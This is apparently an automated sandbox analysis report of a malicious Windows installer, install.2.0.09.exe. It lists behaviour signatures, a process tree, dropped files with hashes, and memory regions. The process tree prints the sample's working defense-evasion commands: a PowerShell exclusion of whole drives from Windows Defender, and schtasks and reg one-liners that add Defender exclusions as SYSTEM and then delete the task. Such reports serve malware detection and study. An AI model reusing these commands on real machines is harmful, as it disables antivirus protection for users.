Analysis

  • max time kernel
    150s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 04:25

General

  • Target
    install.2.0.09.exe
  • Size 34.6MB
  • Sample261023-e157vszv9q
  • SHA256 723165aaad84793a8b6d200721ad0f5e9bdea45cd703d9e5dd4645c37815f765
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.09.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.09.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4916
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4324
    • C:\Users\Public\HrO86a\IKO0Sa.exe
      "C:\Users\Public\HrO86a\IKO0Sa.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:5804
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HrO86a\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5828
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HrO86a\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1252
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:956
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:1500
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:5472
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1068
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:2132
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:688
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:4840
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5060
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:3364
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:3020
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:4912
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5768
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:1528
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:940
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:1884
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:696
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:4192
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4528
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HrO86a" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:896
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HrO86a" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1032
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5296
                          • C:\Users\Public\HrO86a\IKO0Sa.exe
                            "C:\Users\Public\HrO86a\IKO0Sa.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:2040
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4220
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3688
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3472
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:840
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:792
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3656

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 ec4c41340bcbfbfe074818790e7b0c2196e1c2ec2c72e7356001ddd02367cfec
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 c71f96581f2c4acc9d067c4961c5459561f20e0816dc5bc5ad96309e16538e91
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 f1538fa0a2fb10ff3ad32216408b8e5cb88a28f3cc078abdd0e980bcd4e161e8
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 d468d3e3224b21175f02e6147427aa33c191f1636d692c1e7c4d05c8ff913795
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_3wnkdixl.0uq.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3wnkdixl.0uq.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                IKO0Sa.exe

                                • Path C:\Users\Public\HrO86a\IKO0Sa.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\HrO86a\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 14b88d52efe5189c59bded9a729af3afdc83e9713c8d524cf15190084b51b705
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\HrO86a\adoresd.dat
                                • Size 4.8MB
                                • SHA256 8beb1b1e8ede00558921c7ad01c224c339a126c6846d7dde4e898b0ea627fa7e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\HrO86a\msadox.tb
                                • Size 8KB
                                • SHA256 8528be2693acc8cf58c61c5777b4292426c1d7e95c54d584ddebd61306201f13
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2040-583-0x000001A7B1D60000-0x000001A7B2637000-memory.dmp

                                memory/2040-580-0x00007FF9F45E0000-0x00007FF9F4AFE000-memory.dmp

                                memory/2040-591-0x000001A7B1D60000-0x000001A7B2637000-memory.dmp

                                memory/2040-594-0x00007FFA17210000-0x00007FFA17212000-memory.dmp

                                memory/2040-592-0x000001A7B1D60000-0x000001A7B2637000-memory.dmp

                                memory/2040-593-0x000001A7B1D60000-0x000001A7B2637000-memory.dmp

                                memory/2040-590-0x000001A7B1D60000-0x000001A7B2637000-memory.dmp

                                memory/2040-586-0x000001A7B1D60000-0x000001A7B2637000-memory.dmp

                                memory/2040-585-0x00007FFA17220000-0x00007FFA17222000-memory.dmp

                                memory/4916-526-0x0000000000560000-0x000000000056E000-memory.dmp

                                memory/4916-527-0x00007FFA0E980000-0x00007FFA0E992000-memory.dmp

                                memory/4916-1-0x0000000000560000-0x000000000056E000-memory.dmp

                                memory/4916-0-0x0000000000560000-0x000000000056E000-memory.dmp

                                memory/4916-2-0x00000000005B0000-0x00000000005BC000-memory.dmp

                                memory/4916-504-0x00007FFA0E980000-0x00007FFA0E992000-memory.dmp

                                memory/5164-566-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5164-546-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5164-552-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5164-569-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5164-533-0x00007FF9F45E0000-0x00007FF9F4AFE000-memory.dmp

                                memory/5164-562-0x0000027E68F50000-0x0000027E68FDA000-memory.dmp

                                memory/5164-563-0x0000027E68F50000-0x0000027E68FDA000-memory.dmp

                                memory/5164-564-0x0000027E68F50000-0x0000027E68FDA000-memory.dmp

                                memory/5164-548-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5164-561-0x0000027E68F50000-0x0000027E68FDA000-memory.dmp

                                memory/5164-547-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5164-558-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5164-545-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5164-541-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5164-540-0x00007FFA17220000-0x00007FFA17222000-memory.dmp

                                memory/5164-538-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5164-532-0x00007FFA17210000-0x00007FFA17212000-memory.dmp

                                memory/5164-560-0x0000027E68E70000-0x0000027E68EBE000-memory.dmp

                                memory/5164-605-0x0000027E68110000-0x0000027E689E7000-memory.dmp

                                memory/5804-602-0x00000196B7B40000-0x00000196B7B62000-memory.dmp

                                memory/5804-608-0x00000196B7B70000-0x00000196B7B8E000-memory.dmp

                                memory/5804-609-0x00000196D0030000-0x00000196D00E2000-memory.dmp

                                memory/5804-610-0x00000196B7A10000-0x00000196B7A1A000-memory.dmp